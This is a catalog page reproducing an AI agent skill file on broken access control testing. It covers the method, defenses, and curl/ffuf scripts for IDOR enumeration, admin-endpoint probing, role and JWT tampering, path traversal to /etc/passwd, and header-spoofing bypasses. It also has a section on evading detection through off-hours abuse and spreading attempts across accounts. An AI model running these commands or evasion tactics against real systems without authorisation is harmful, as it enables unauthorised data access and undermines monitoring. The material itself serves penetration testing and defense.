Source profileQuality 92/100

brucesongs/kali-claw/skills/web-access-control/SKILL.md

web-access-control

Broken Access Control (OWASP Top 10 2025 - A01) attacks and defense — covering core attack surfaces including IDOR (Insecure Direct Object Reference), vertical/horizontal privilege escalation, path traversal, and permission bypass.

Source repository stars
67
Declared platforms
2
Static risk flags
1
Last source update
2026-08-19
Source checked
2026-08-28

Decision brief

What it does: where it fits

Supplementary Files: - payloads.md — Payload collection organized by 7 major attack types (IDOR, privilege escalation, path traversal, forced browsing, parameter tampering, HTTP method tampering, header spoofing) - test-cases.md — Structured test case templates (13 cases coverin…

Best for

  • Web Application Penetration Testing - Detect access control vulnerabilities in target applications, identify unauthorized access paths and IDOR endpoints
  • API Security Testing - Perform horizontal/vertical privilege escalation testing against REST APIs, enumerate hidden admin endpoints
  • CTF Competition Problem Solving - Quickly identify access control challenge types such as IDOR, path traversal, permission bypass, and construct effective attack payloads

Not for

  • A common mistake in access control testing is only testing vertical privilege escalation (user-to-admin) while neglecting horizontal escalation (user-to-user). Many applications enforce admin boundaries but fail to vali…

Compatibility matrix

Platform support, with evidence labels

PlatformStatusEvidenceWhat to check
CodexNot declaredNo explicit evidencePortability before use
Claude CodeDeclaredSource recordInstall path and trigger
CursorDeclaredSource recordInstall path and trigger
Gemini CLINot declaredNo explicit evidencePortability before use
Open the compatibility checker

Installation

Inspect first. Install second.

The source command is displayed only when detected. A safe inspection prompt is always available so your agent can explain every action before execution.

Source-detected install commandSource
npx skills add https://github.com/brucesongs/kali-claw --skill "skills/web-access-control"
Safe inspection promptEditorial

Inspect the Agent Skill "web-access-control" from https://github.com/brucesongs/kali-claw/blob/a3205f5484ca8fec9fd809f3c16fe41fbc6ac87e/skills/web-access-control/SKILL.md at commit a3205f5484ca8fec9fd809f3c16fe41fbc6ac87e. List every install step, command, network request, credential, file read/write, external action, and rollback step. Explain whether it fits my task. Do not install or execute anything until I approve.

Workflow

What the source asks the agent to do

  1. 01

    Step 1: IDOR Detection (ffuf Automation)

    Review the “Step 1: IDOR Detection (ffuf Automation)” section in the pinned source before continuing.

    Review and apply the “Step 1: IDOR Detection (ffuf Automation)” source section.
  2. 02

    Step 2: Privilege Escalation Testing

    Review the “Step 2: Privilege Escalation Testing” section in the pinned source before continuing.

    Review and apply the “Step 2: Privilege Escalation Testing” source section.
  3. 03

    Step 3: Path Traversal Testing

    Review the “Step 3: Path Traversal Testing” section in the pinned source before continuing.

    Review and apply the “Step 3: Path Traversal Testing” source section.
  4. 04

    Step 4: API Endpoint Enumeration and Bypass

    Review the “Step 4: API Endpoint Enumeration and Bypass” section in the pinned source before continuing.

    Review and apply the “Step 4: API Endpoint Enumeration and Bypass” source section.
  5. 05

    Summary

    Web Access Control skill domain covering web attack operations.

    Web Access Control skill domain covering web attack operations.Tools: Burp Suite, ffuf, Autorize, curl, sqlmap, fimapOWASP: A01:2021-Broken Access Control

Permission review

Static risk signals and limitations

Network access

medium · line 101

The documentation includes network, browsing, or remote request actions.

ffuf -u "http://target/api/v1/users/FUZZ/profile" \

Network access

medium · line 107

The documentation includes network, browsing, or remote request actions.

ffuf -u "http://target/api/v1/users/FUZZ/orders" \

Evidence record

Why each signal appears

EvidenceSourceComputedTestedEditorial
SignalValueEvidence typeMeaning
Quality score92/100ComputedDocumentation, specificity, maintenance, and trust rules
Repository stars67SourceRepository attention, not individual Skill quality
Compatibility2 platformsSourceDeclared in the catalog source record
Usage guideautomated source guideEditorialGenerated or reviewed according to the visible evidence level

Pinned source

Provenance and original SKILL.md

Repository
brucesongs/kali-claw
Skill path
skills/web-access-control/SKILL.md
Commit
a3205f5484ca8fec9fd809f3c16fe41fbc6ac87e
License
MIT
Collected
2026-08-28
Default branch
main
View the original SKILL.md

Skill: Broken Access Control

Supplementary Files:

  • payloads.md — Payload collection organized by 7 major attack types (IDOR, privilege escalation, path traversal, forced browsing, parameter tampering, HTTP method tampering, header spoofing)
  • test-cases.md — Structured test case templates (13 cases covering IDOR, privilege escalation, path traversal, forced browsing — 4 categories)
  • access-control-guide.md — Complete guide to Broken Access Control (attack types, detection techniques, exploitation methods, defense strategies)

Summary

Web Access Control skill domain covering web attack operations.

Tools: Burp Suite, ffuf, Autorize, curl, sqlmap, fimap

Domain: web-attack

OWASP: A01:2021-Broken Access Control

Description

Broken Access Control (OWASP Top 10 2025 - A01) attacks and defense — covering core attack surfaces including IDOR (Insecure Direct Object Reference), vertical/horizontal privilege escalation, path traversal, and permission bypass. This skill covers the complete attack chain from discovery to exploitation, as well as RBAC/ABAC defense systems.

Agent Capability Statement: Proficient in automated IDOR detection, multi-dimensional privilege escalation testing, path traversal bypass techniques, with a complete payload library and automation scripts.

Use Cases

  1. Web Application Penetration Testing - Detect access control vulnerabilities in target applications, identify unauthorized access paths and IDOR endpoints
  2. API Security Testing - Perform horizontal/vertical privilege escalation testing against REST APIs, enumerate hidden admin endpoints
  3. CTF Competition Problem Solving - Quickly identify access control challenge types such as IDOR, path traversal, permission bypass, and construct effective attack payloads
  4. Security Code Audit - Review application authorization logic from a defense perspective, identify missing permission checks
  5. Permission Model Design Review - Evaluate whether RBAC/ABAC implementation is complete, identify boundary condition vulnerabilities

Core Tools

ToolPurposeCommand Example
Burp SuiteIntercept and modify requests, permission comparison testing, Autorize plugin for automatic privilege escalation detectionProfessional edition + Autorize extension
ffufIDOR endpoint fuzzing, parameter brute force, path enumerationffuf -u "URL/FUZZ" -w wordlist.txt
Autorize (Burp Plugin)Automatically compare high/low privilege user responses, detect privilege escalationConfigure two session cookies for automatic replay
curlQuickly construct requests, parameter tampering, HTTP method testingcurl -X PUT -H "Cookie: ..." URL
sqlmapAssist in extracting user IDs and permission data for privilege escalation testingsqlmap --dump -T users
fimapAutomated path traversal / LFI detectionfimap -u "URL?file=test"
Manual AnalysisUnderstand authorization logic, identify ID parameter patterns, design attack chainsBrowser DevTools + Burp Repeater

Methodology

Attack Chain

Recon → IDOR Discovery → Privilege Escalation → Forced Browsing → Parameter Tampering

1. Recon

  • Crawl all API endpoints, record URLs containing ID parameters (user_id, order_id, file_id, etc.)
  • Identify authentication mechanisms: Cookie / JWT / API Key / OAuth Token
  • Build role matrix: functions and resources visible to each role

2. IDOR Discovery

  • Replace numeric IDs: ?id=123 -> ?id=124 (iterate adjacent IDs)
  • Replace string IDs: ?user=alice -> ?user=bob
  • Replace UUIDs: observe if there are predictable UUID patterns
  • Bulk automation: use ffuf to fuzz ID parameters

3. Privilege Escalation

  • Vertical privilege escalation: regular user directly accessing /admin/* admin endpoints
  • Role parameter tampering: ?role=user -> ?role=admin, JSON body "role":"admin"
  • Cookie/JWT tampering: modify isAdmin, role, access_level claims
  • HTTP method tampering: POST -> GET / PUT / DELETE, bypass method-level permission controls

4. Forced Browsing

  • Directory enumeration: /admin/, /console/, /management/, /api/v2/admin/
  • File type probing: /backup.sql, /users.csv, /.env
  • API version probing: /api/v1/admin vs /api/v2/admin

5. Parameter Tampering

  • Case obfuscation: /Admin/Delete -> /ADMIN/delete -> /aDmIn/dElEtE
  • URL encoding bypass: /%61dmin/%64elete -> decodes to /admin/delete
  • Path parameter obfuscation: /admin;/dashboard, /admin/./dashboard, /admin%00/dashboard
  • Header spoofing: X-Original-URL, X-Forwarded-For: 127.0.0.1, X-Custom-IP-Authorization

Defense Perspective

Defense MeasureDescriptionPriority
RBAC (Role-Based Access Control)Assign permissions by role, server-side enforcement of role checking for every requestCRITICAL
ABAC (Attribute-Based Access Control)Dynamic decisions combining user attributes, resource attributes, and environmental conditionsHIGH
Server-Side Permission ValidationEvery endpoint must verify that the current user has the right to access the target resourceCRITICAL
Indirect Object ReferencesUse mapping tables instead of directly exposing internal IDs to prevent IDORHIGH
Deny by DefaultDeny all access not explicitly authorized; use allowlist policiesCRITICAL
Rate LimitingLimit ID parameter enumeration frequency to prevent bulk traversalMEDIUM
Logging and MonitoringRecord all access control failure attempts, set alert thresholdsHIGH
JWT Strict ValidationVerify signature, expiration time, issuer; do not trust client claimsHIGH

Practical Steps

For detailed payloads see payloads.md, and for the complete test checklist see test-cases.md. Below is a summary of core operations for each phase.

Step 1: IDOR Detection (ffuf Automation)

# Enumerate user ID endpoints
ffuf -u "http://target/api/v1/users/FUZZ/profile" \
     -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
     -H "Cookie: session=YOUR_TOKEN" \
     -fc 403,404 -mc 200

# Iterate numeric ID ranges
ffuf -u "http://target/api/v1/users/FUZZ/orders" \
     -w <(seq 1 1000) \
     -H "Cookie: session=YOUR_TOKEN" \
     -fc 403,404

# Test IDOR on POST requests
ffuf -u "http://target/api/v1/orders" \
     -X POST \
     -H "Content-Type: application/json" \
     -H "Cookie: session=YOUR_TOKEN" \
     -d '{"user_id": FUZZ, "action": "view"}' \
     -w <(seq 1 500) \
     -fc 403,404

Step 2: Privilege Escalation Testing

# Use regular user session to access admin endpoints
ADMIN_ENDPOINTS=("/admin" "/administrator" "/manage" "/console" "/dashboard"
  "/admin/users" "/admin/settings" "/admin/config" "/admin/logs"
  "/api/v1/admin/users" "/api/internal/debug")

for endpoint in "${ADMIN_ENDPOINTS[@]}"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Cookie: session=$USER_TOKEN" \
    "http://target$endpoint")
  if [ "$STATUS" != "403" ] && [ "$STATUS" != "401" ] && [ "$STATUS" != "404" ]; then
    echo "[+] $endpoint -> $STATUS (possible privilege escalation)"
  fi
done

# Role parameter tampering test
curl -s -H "Cookie: session=$USER_TOKEN" \
     -H "Content-Type: application/json" \
     -d '{"role":"admin","user_id":123}' \
     "http://target/api/v1/users/update"

# JWT claims tampering (requires algorithm confusion attack)
# Modify {"role":"user"} to {"role":"admin"}, sign with alg:none

Step 3: Path Traversal Testing

# Basic path traversal
curl "http://target/file?name=../../../etc/passwd"

# URL encoding bypass
curl "http://target/file?name=..%2f..%2f..%2fetc/passwd"
curl "http://target/file?name=..%252f..%252f..%252fetc/passwd"

# Double encoding bypass
curl --path-as-is "http://target/..%252f..%252f..%252fetc/passwd"

# Unicode bypass
curl "http://target/file?name=..%c0%ae%c0%ae%c0%afetc/passwd"

# Windows target
curl "http://target/file?name=..\\..\\..\\windows\\win.ini"

# Use ffuf for bulk path traversal payload testing
ffuf -u "http://target/file?name=FUZZ" \
     -w path_traversal_payloads.txt \
     -fc 403,404 -mc 200 \
     -fs 0

Step 4: API Endpoint Enumeration and Bypass

# HTTP method tampering
for method in GET POST PUT DELETE PATCH HEAD OPTIONS; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" -H "Cookie: session=$USER_TOKEN" \
    "http://target/admin/delete_user?id=1")
  echo "[$method] -> $STATUS"
done

# Header spoofing bypass
curl -H "X-Original-URL: /admin/dashboard" \
     -H "Cookie: session=$USER_TOKEN" \
     "http://target/"
curl -H "X-Custom-IP-Authorization: 127.0.0.1" \
     -H "Cookie: session=$USER_TOKEN" \
     "http://target/admin"
curl -H "X-Forwarded-For: 127.0.0.1" \
     -H "X-Real-IP: localhost" \
     -H "Cookie: session=$USER_TOKEN" \
     "http://target/admin"

# Case obfuscation
curl "http://target/Admin/Dashboard"
curl "http://target/ADMIN/DELETE_USER"

# Path parameter obfuscation
curl "http://target/admin;/dashboard"
curl "http://target/admin/./dashboard"
curl --path-as-is "http://target/admin%00/dashboard"

Detection Methods

Effective access control testing begins with mapping the complete authorization surface. Automated diff comparison between low-privilege and high-privilege session responses (using Burp Autorize or custom scripts) rapidly identifies endpoints missing authorization checks. Parameter enumeration through ffuf with sequential ID wordlists detects IDOR at scale, while HTTP method fuzzing across all discovered endpoints reveals method-level permission gaps that manual testing often misses.

Defense Evasion Techniques

Access Control Bypass Stealth

  • Use existing privilege: Don't escalate; abuse existing over-privileged role.
  • Off-hours abuse: Exploit during low-traffic hours.
  • Distribute exploitation: Spread IDOR attempts across many accounts/sessions.

Detection Evasion

  • Use legitimate-looking requests: Mimic normal user navigation; avoid deep-linking directly.
  • Use GraphQL batch: Batch IDOR attempts in single GraphQL request; bypass per-request rate limit.
  • Method swap: Try GET /api/users/123 blocked, try PUT /api/users/123 or PATCH allowed.

Common Pitfalls

A common mistake in access control testing is only testing vertical privilege escalation (user-to-admin) while neglecting horizontal escalation (user-to-user). Many applications enforce admin boundaries but fail to validate that user A cannot access user B's resources. Another pitfall is testing only GET requests — POST/PUT/DELETE endpoints frequently have weaker authorization checks. Always test every HTTP method against every role, and iterate through predictable ID patterns rather than testing only a handful of random values.

Automation and Scripting

Automated access control testing scales manual techniques across hundreds of endpoints. Python scripts wrapping curl or requests can perform systematic role-matrix testing: for each endpoint, test each role and diff responses to flag unauthorized access. Burp Suite's Autorize extension automates this by replaying every request with different session tokens and comparing response codes and lengths. Custom ffuf wordlists derived from application-specific ID patterns enable rapid IDOR scanning at scale.

Reporting

Access control findings must include clear evidence chains demonstrating the vulnerability. Each finding should document: the request with a low-privilege token accessing a restricted resource, the response proving unauthorized access (HTTP 200 with sensitive data), the business impact (data exposure, privilege escalation path), and a remediation recommendation specifying the missing authorization check. Screenshots of Autorize diff results and ffuf match output provide compelling visual evidence for stakeholders.


Hacker Laws

  1. Minimize Attack Surface - Every exposed endpoint, every enumerable ID, every unprotected admin path is an attack surface. Defenders should hide admin interfaces, use unpredictable indirect references, and uniformly enforce access control at the gateway layer. Attackers aim to discover all hidden endpoints and parameters.

  2. Least Privilege - Users should only have the minimum set of permissions needed to complete their current task. When applications grant overly broad permissions to regular users (such as directly exposing internal IDs, or front-end hiding without back-end validation), IDOR and privilege escalation vulnerabilities arise. Defenders should strictly validate each user's resource access permissions at every API endpoint.

  3. Trust but Verify - Do not trust any data from the client: URL parameters can be tampered with (IDOR), Cookie/JWT claims can be forged (privilege escalation), HTTP headers can be injected (X-Forwarded-For bypass). All authorization decisions must be independently verified server-side based on trusted data sources.

  4. Assume Breach - Assume an attacker has already obtained regular user privileges. Under this premise, can the defense system prevent lateral access to other users' data (horizontal privilege escalation) and vertical escalation to admin privileges? Multi-layer defense (RBAC + ABAC + log monitoring + Rate Limiting) ensures that a single control point failure does not lead to total compromise.

Learning Resources

Supplementary files for this skill:

  • payloads.md — Complete payload collection (7 major attack types, ready to copy and use)
  • test-cases.md — Structured test cases (13 case templates with preconditions and expected results)
  • access-control-guide.md — Complete guide to Broken Access Control (offensive and defensive code examples)

Related skills:

  • skills/web-auth-bypass/SKILL.md — Authentication bypass (JWT tampering for privilege escalation, session management complementary to access control)
  • skills/api-security/SKILL.md — API security testing (BOLA/BPLA are API forms of IDOR)
  • skills/web-sqli/SKILL.md — SQL injection (can be used to extract user IDs and permission data to assist privilege escalation testing)

External resources:

Frequently asked questions

What to verify before installation and use

What does the web-access-control source document cover?

Supplementary Files: - payloads.md — Payload collection organized by 7 major attack types (IDOR, privilege escalation, path traversal, forced browsing, parameter tampering, HTTP method tampering, header spoofing) - test-cases.md — Structured test case templates (13 cases coverin…

How do I install web-access-control?

The source record exposes this install command: npx skills add https://github.com/brucesongs/kali-claw --skill "skills/web-access-control". Inspect the command and pinned source before running it.

Which Agent platforms does the source record declare?

The pinned source record declares support for: claude code, cursor.

Which permission-related actions were detected?

Static rules flagged network in the source; the page lists the matching lines and excerpts.

Alternatives

Compare before choosing

Computed 97211

PramodDutta/qaskills

RAG Regression Testing

Gate RAG pipelines in CI with versioned golden eval sets, per-metric thresholds, baseline drift detection, and a build that fails when retrieval or answer quality regresses.

Computed 97211

PramodDutta/qaskills

State Machine Test Generator

Generate comprehensive test cases from state machine models covering all states, transitions, guard conditions, and invalid transition attempts for workflow-heavy features

Computed 9621

upex-galaxy/agentic-qa-boilerplate

regression-testing

Execute regression test suites via CI/CD, analyze results, classify failures, and produce GO/NO-GO release decisions. Use when running regression, smoke, or sanity suites through GitHub Actions, monitoring workflow runs, downloading Allure or Playwright artifacts, classifying failures (REGRESSION vs FLAKY vs KNOWN vs ENVIRONMENT vs NEW TEST), computing pass-rate and trend metrics, deciding release readiness, generating executive quality reports, or creating regression issues. Triggers on: run re

Computed 967

aomi-labs/skills

aomi-build

Scaffold new Aomi apps and plugins from API docs, OpenAPI/Swagger specs, or SDK references. aomi-build generates production-ready Rust SDK crates (lib.rs, client.rs, tool.rs) with tool schemas, preambles, host-interop flows, and validation — turning a vendor's API surface into AI-agent-callable tools. It covers the current `aomi-build` OpenAPI pipeline (`gen-specs` → `gen-client` → `gen-tool` → curate → compile/test) as well as greenfield apps. Use when the user wants to scaffold a new Aomi app